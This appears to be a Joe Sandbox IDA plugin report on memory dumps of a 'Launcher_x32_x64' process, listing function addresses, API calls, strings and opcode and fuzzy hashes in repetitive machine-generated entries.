Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorMode$DebuggerPresent$_errno$BreakDebugExceptionFailFastFreeHeapRaisewcstoul
String ID: D::RFFE: About to call RaiseFailFastException$D::RFFE: Return from RaiseFailFastException
API String ID: 2811416661-485428011
Opcode ID: 78bff0bda641f9a2130f82730f772c693992f2c58517c3e46c4ba9c6a410dcd9
Instruction ID: 39e160bebe7ab7bee651f93603bc0a1e8c25c4c495029124ee10b641826a825d
Opcode Fuzzy Hash: 78bff0bda641f9a2130f82730f772c693992f2c58517c3e46c4ba9c6a410dcd9
Instruction Fuzzy Hash: 79A1D3717003049FEB68EF64E895BAA77B8EB44B14F149169E90DF72A4D731AC04CB90

Function 00EF7680 Relevance: 18.1, APIs: 9, Strings: 1, Instructions: 556synchronizationCOMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00EF79D5
CoWaitForMultipleHandles.OLE32(-00000002,00000000,?,?,?), ref: 00EF7A54
WaitForMultipleObjectsEx.KERNEL32(?,?,?,00000000,?,00000000,04000000), ref: 00EF7A84
GetTickCount64.KERNEL32 ref: 00EF7AD2
GetLastError.KERNEL32 ref: 00EF7B12
WaitForSingleObject.KERNEL32(?,00000000), ref: 00EF7B64
GetTickCount64.KERNEL32 ref: 00EF7B98
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00EF7C69
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,00EF7510), ref: 00EF7CBA

Part of subcall function 00EF7EA0: GetTickCount64.KERNEL32 ref: 00EF7F9D
Part of subcall function 00EF7EA0: SignalObjectAndWait.KERNEL32(?,?,?,?), ref: 00EF7FC1
Part of subcall function 00EF7EA0: GetTickCount64.KERNEL32 ref: 00EF8009

Strings

NotSupported_MaxWaitHandles_STA, xrefs: 00EF7D0A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Count64TickWait$Object$MultipleSingle$ErrorHandlesLastObjectsSignalqsort
String ID: NotSupported_MaxWaitHandles_STA
API String ID: 296535545-4026452055
Opcode ID: 9862717ede2e7544b6ae50dd3218b610b01af268765a984fbec5c54568c5b571
Instruction ID: d72da065e9d891bb046169458bcacf901fd440044a1d145fb5eef3a9a4dc512a
Opcode Fuzzy Hash: 9862717ede2e7544b6ae50dd3218b610b01af268765a984fbec5c54568c5b571
Instruction Fuzzy Hash: 8032B031E04219DFDB24CFA8C844BADBBB5FF49314F249269E959BB291D770AD41CB80

Function 00FDC060 Relevance: 9.6, APIs: 6, Instructions: 622memorystringCOMMON

Download Yara Rule

APIs

strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000003,00000000,0137F114,?), ref: 00FDC23C

Part of subcall function 01094940: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 01094A56

strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000003,00000000,0137F114,?), ref: 00FDC30A
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000003,00000000,0137F114,?), ref: 00FDC431
HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,0140CA30,?,?,?,?,?,?,?,00000000), ref: 00FDCA3E
HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,0140CA30,?,?,?,?,?,?,?,00000000), ref: 00FDCA64
HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,0140CA30,?,?,?,?,?,?,?,00000000), ref: 00FDCA8D

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$strcpy_s
String ID:
API String ID: 2606610500-0
Opcode ID: bb2d6463e19268e7fc42bdbca180d88cb9adc011cbc15fe30c3875571076f127
Instruction ID: 0652cd343d3aa94476d353387e8766c2f4d8d90ef3d32f6b680383dde21a5c69
Opcode Fuzzy Hash: bb2d6463e19268e7fc42bdbca180d88cb9adc011cbc15fe30c3875571076f127
Instruction Fuzzy Hash: B7526CB19002299FEF25CF14CC54BE9BBB6EB89314F0482D9E54DA7290DB325EA4DF50

Function 010A92B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(95E4D7D1,03A45C20,?,?,?,?,?,?,?,0135C095,000000FF,?,010C1618), ref: 010A92F2
RaiseException.KERNEL32(04242420,00000000,00000003,31415927), ref: 010A9355

Strings

'YA1, xrefs: 010A92E1

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: DebuggerExceptionPresentRaise
String ID: 'YA1
API String ID: 1899633966-3346015194
Opcode ID: 9118e6ed37af1d878bd5dd6a54f1051746aaee011c2b785373834ba416da0322
Instruction ID: a6875d1d63a23da7b96e413532929bb3c7f41a368f87f4c0150d0ef9353a0c86
Opcode Fuzzy Hash: 9118e6ed37af1d878bd5dd6a54f1051746aaee011c2b785373834ba416da0322
Instruction Fuzzy Hash: D12148B4E04248EFDB14CFA9D555BDEBBF4EB09724F50816AE805AB380D7755A04CF50

Function 0131A780 Relevance: 3.2, APIs: 2, Instructions: 230COMMON

Download Yara Rule

APIs

GetEnabledXStateFeatures.KERNEL32(00000000,00000048,?,?,0128430E,00000000,00000048,?), ref: 0131A869
GetEnabledXStateFeatures.KERNEL32(?,0128430E,00000000,00000048,?), ref: 0131A8DF

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: EnabledFeaturesState
String ID:
API String ID: 1557480591-0
Opcode ID: 4c01c37a67620ae757223befb2643771d0ca2dbed4c77ff3598543de22efaaa1
Instruction ID: 4b029c10618136a03e24d02e7dca6b8ae8d1bed33b82dee06455c4a02d6f37a6
Opcode Fuzzy Hash: 4c01c37a67620ae757223befb2643771d0ca2dbed4c77ff3598543de22efaaa1
Instruction Fuzzy Hash: 96710976E052484BFB1DCE1DC9C53A9BBA3EB84319F1AC07ADD09DB389D6788845CB50

Function 0AD9A8E0 Relevance: .9, Instructions: 862COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a8c69de8f53bdb5a602da4fc368f120aa2d580e535d2c24eb16f36654809109
Instruction ID: 760a5f59395ba54127777e8a6338fc53e4f05c9505611b28becc30b9758533a9
Opcode Fuzzy Hash: 7a8c69de8f53bdb5a602da4fc368f120aa2d580e535d2c24eb16f36654809109
Instruction Fuzzy Hash: 8A921A34611315CFCB26DF21D89CAAABBB2FF88305F118569D44A977A0DB71AD85CF40

Function 0ADED410 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 520733122197f8bd343a5d1cb47bdded0ab685ef7e47d11688b97b7877fe37ed
Instruction ID: 8aabf7ce61b49775114a045aa09a848acd9b69d61a13f4858eb5c508311f1637
Opcode Fuzzy Hash: 520733122197f8bd343a5d1cb47bdded0ab685ef7e47d11688b97b7877fe37ed
Instruction Fuzzy Hash: 6D527F75E102199FCF15EFA9D8845EEBBB2FF88310F11812AE956E7244DB309945CF90

Function 0ADBBB20 Relevance: .7, Instructions: 684COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b463ddc43364e4c5755d5b061711e4dfcac4a878f7c0d89375d3b52f5e58adb5
Instruction ID: a508a7e0bfaf16a4937bf6659a54a16059549f696785b968151acfef1f34f3b6
Opcode Fuzzy Hash: b463ddc43364e4c5755d5b061711e4dfcac4a878f7c0d89375d3b52f5e58adb5
Instruction Fuzzy Hash: DC521B74A20219DFCB15CF65D898AAEBBB2FF88304F158169D40AE7355DB31AD42CF90

Function 0AD99540 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0da075042d03b772793b98a14d9c8f207ca11694ac566912417a201bb9fe900
Instruction ID: b894e644b0605f17de5bb534d4f0f81bfcba025146aa0c724f8f26f7e24b4f9a
Opcode Fuzzy Hash: b0da075042d03b772793b98a14d9c8f207ca11694ac566912417a201bb9fe900
Instruction Fuzzy Hash: 6152F934621605DFCB16DF22D99C95ABBB2FF88305B148A28E55687BA4DB31FC46CF40

Function 0AD9BF30 Relevance: .5, Instructions: 549COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c20d9948bdbd3b84397200a5e0aad9bdc115119ef75c2ae17962fd17b96cffd5
Instruction ID: 948bd59f751e02ef54d757959b46af581b61d13ab53ab86d79de77ab9fa56eb8
Opcode Fuzzy Hash: c20d9948bdbd3b84397200a5e0aad9bdc115119ef75c2ae17962fd17b96cffd5
Instruction Fuzzy Hash: 8E320A34A20204DFCF1ADFA6D5989AEBBB2FF88301B158169E50AD7355DB31AD42CF50

Function 0ADAB290 Relevance: .5, Instructions: 520COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25d15aea37a0240a5347cb68359c5b6df98132a1cf9754587d741ff1ed174fc9
Instruction ID: 5ef5f18ec2f8913687fc44a6e0a4eccd371b8189b46b05096457fc0886b202d9
Opcode Fuzzy Hash: 25d15aea37a0240a5347cb68359c5b6df98132a1cf9754587d741ff1ed174fc9
Instruction Fuzzy Hash: 7C128E35A10209DFCB15DF66E89CAAEBBB2FF98301F148129E50AD7254DB31AD46CF50

Function 00FD7810 Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aa8f803677cadb0f9e863128894e586a520973794f49079cec996717fb9cfdf
Instruction ID: b2ed0be4ab8f9449b0b49c8104c5fd9a804b368c6f7416794f72dfbdfe908d30
Opcode Fuzzy Hash: 8aa8f803677cadb0f9e863128894e586a520973794f49079cec996717fb9cfdf
Instruction Fuzzy Hash: 3F121432D187408BEB21FF28C8427A8B7B3BB41324F1C465BD8816F355E774A985EB95

Function 0ADBA0B0 Relevance: .5, Instructions: 458COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa712fd9d1f8072d25d9de983aa55343373cfad75a90a9ef3fc1466eee1be6b2
Instruction ID: 3b394ef8e6708c3cd310063c608118e8ffbd3972079a9f7f353f9b077999fea7
Opcode Fuzzy Hash: fa712fd9d1f8072d25d9de983aa55343373cfad75a90a9ef3fc1466eee1be6b2
Instruction Fuzzy Hash: E0226B70A20315CFCB25CF65D858B9ABBB1FF48300F1185A9E50BA76A0DB71AE85CF50

Function 0ADBABB0 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eecfc563d1eff6c4457843b018b3f2181fe86428212e0701d69062535f0482c
Instruction ID: a2fcaec9eebc6674899a19f757e9dbc70d7d98d861271a600e8d294372218cb0
Opcode Fuzzy Hash: 9eecfc563d1eff6c4457843b018b3f2181fe86428212e0701d69062535f0482c
Instruction Fuzzy Hash: AA225A30A21715CFDB29CF65D858AAABBB2FF48305F10866DE447A76A0DB31AD45CF40

Function 0ADC45E0 Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d41ff1d728ab6187e45e70f53106803263fa67f2d99a44ca39be6e57a9841588
Instruction ID: 16e085cff85febb4b5e4a2afd7ec681815394a666c6db3fa2c38af73432c03c1
Opcode Fuzzy Hash: d41ff1d728ab6187e45e70f53106803263fa67f2d99a44ca39be6e57a9841588
Instruction Fuzzy Hash: 27F11A74A11209DFDB1ADF66D8ACAAABBB2FF89315F55802CE406D7290DB319C41CF40

Function 0ADD6910 Relevance: .4, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71cde01dcc6ddb2f5feb5ab6788042b21219cb529c7b707c0614b149ca61d3a9
Instruction ID: 3dccafb54a87badc0809ae1b714476c525339016f035e330f8251a0e612014b2
Opcode Fuzzy Hash: 71cde01dcc6ddb2f5feb5ab6788042b21219cb529c7b707c0614b149ca61d3a9
Instruction Fuzzy Hash: C9D18071E201198FCF18CFA9D8985AEBBB2FF88311F168129D846E7354DB34AD41CB90

Function 0AD88C30 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429ce81c5a678730a883717cbc99e2bf00169f545b8c946f35907fa838d3cedb
Instruction ID: 13c7c7de3f24b4ec1e66ba78541a57ee7ef373f2aed205044e6909a9ff703f14
Opcode Fuzzy Hash: 429ce81c5a678730a883717cbc99e2bf00169f545b8c946f35907fa838d3cedb
Instruction Fuzzy Hash: 2CC1AE71A11215DFCB15DF69D88899EBBF2FFC8340B668429E54AD7204DB31EC42CB50

Function 01093490 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39840cfe83523a0f97ea1a347fb4ee37294dd598c9fcb3b6b904d580bf90eaf8
Instruction ID: 8eec37c9cd04bc6cc296a171c9d72643babb79d452817609b71e05aef4b1a459
Opcode Fuzzy Hash: 39840cfe83523a0f97ea1a347fb4ee37294dd598c9fcb3b6b904d580bf90eaf8
Instruction Fuzzy Hash: A4E1E671A016288BCBA8CF59DC957ECB3B1BB88318F5940EDD80ED7351DA35AE948F44

Function 0CA9A950 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820769827.000000000CA91000.00000020.00000001.00040000.00000003.sdmp, Offset: 0CA90000, based on PE: true

Associated: 00000000.00000002.1820747846.000000000CA90000.00000002.00000001.00040000.00000003.sdmpDownload File
